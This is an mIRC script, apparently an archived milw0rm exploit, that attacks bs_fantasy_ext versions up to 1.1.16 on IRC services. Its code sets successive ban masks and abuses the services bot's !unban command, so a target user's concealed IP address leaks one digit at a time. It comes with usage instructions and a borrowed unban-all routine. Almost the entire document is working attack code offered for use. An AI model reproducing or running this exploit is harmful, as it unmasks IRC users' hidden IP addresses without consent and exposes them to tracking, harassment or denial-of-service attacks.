72 lines
No EOL
1.7 KiB
Text
72 lines
No EOL
1.7 KiB
Text
; bs_fantasy_ext <= 1.1.16 Exploit by Phil
|
|
; Kudos to MattT for pointing this out
|
|
; Only seems to work for non-vhosted unresolved IPs
|
|
; Code is a little inefficient, sorry.
|
|
; Usage: /getip <channel> <nickname> <bs bot nickname>
|
|
|
|
alias getip {
|
|
if ($1 != $null && $2 != $null && $3 != $null) {
|
|
set %exploit.channel $1
|
|
set %exploit.nickname $2
|
|
set %exploit.botnick $3
|
|
set %exploit.prefix *!*@
|
|
set %exploit.counter 1
|
|
|
|
while (%exploit.counter <= 9) {
|
|
mode %exploit.channel +b %exploit.prefix $+ %exploit.counter $+ *
|
|
inc %exploit.counter
|
|
}
|
|
|
|
msg %exploit.channel !unban %exploit.nickname
|
|
}
|
|
}
|
|
|
|
on 1:UNBAN:#:{
|
|
if ($chan == %exploit.channel && $nick == %exploit.botnick) {
|
|
set %exploit.prefix $left($banmask, $calc($len($banmask) - 1))
|
|
|
|
set %exploit.counter 0
|
|
|
|
unbanall %exploit.channel
|
|
|
|
while (%exploit.counter <= 9) {
|
|
mode %exploit.channel +b %exploit.prefix $+ %exploit.counter $+ *
|
|
inc %exploit.counter
|
|
}
|
|
|
|
if ($right(%exploit.prefix, 1) != .) {
|
|
mode %exploit.channel +b %exploit.prefix $+ . $+ *
|
|
}
|
|
|
|
msg %exploit.channel !unban %exploit.nickname
|
|
}
|
|
}
|
|
|
|
; Following Code Taken From http://www.hawkee.com/snippet/1661/
|
|
alias unbanall {
|
|
set %chan $iif($1,$1,$active)
|
|
;.timer 0 2 unbanallx
|
|
unbanallx
|
|
}
|
|
|
|
alias unbanallx {
|
|
mode %chan +b
|
|
if ($ibl(%chan,0)) {
|
|
if (%chan ischan) {
|
|
if ($me isop %chan) || ($me ishop %chan) {
|
|
;mode %chan +b
|
|
var %x $ibl(%chan,0)
|
|
var %y 0
|
|
while (%y <= %x) {
|
|
var %banlist = $(%banlist,$ibl(%chan,%y))
|
|
inc %y
|
|
}
|
|
mode %chan $+(-,$str(b,$ibl(%chan,0))) %banlist
|
|
}
|
|
else { echo -a ur not op in %chan }
|
|
}
|
|
else { echo -a ur not on %chan }
|
|
}
|
|
}
|
|
|
|
; milw0rm.com [2009-01-08] |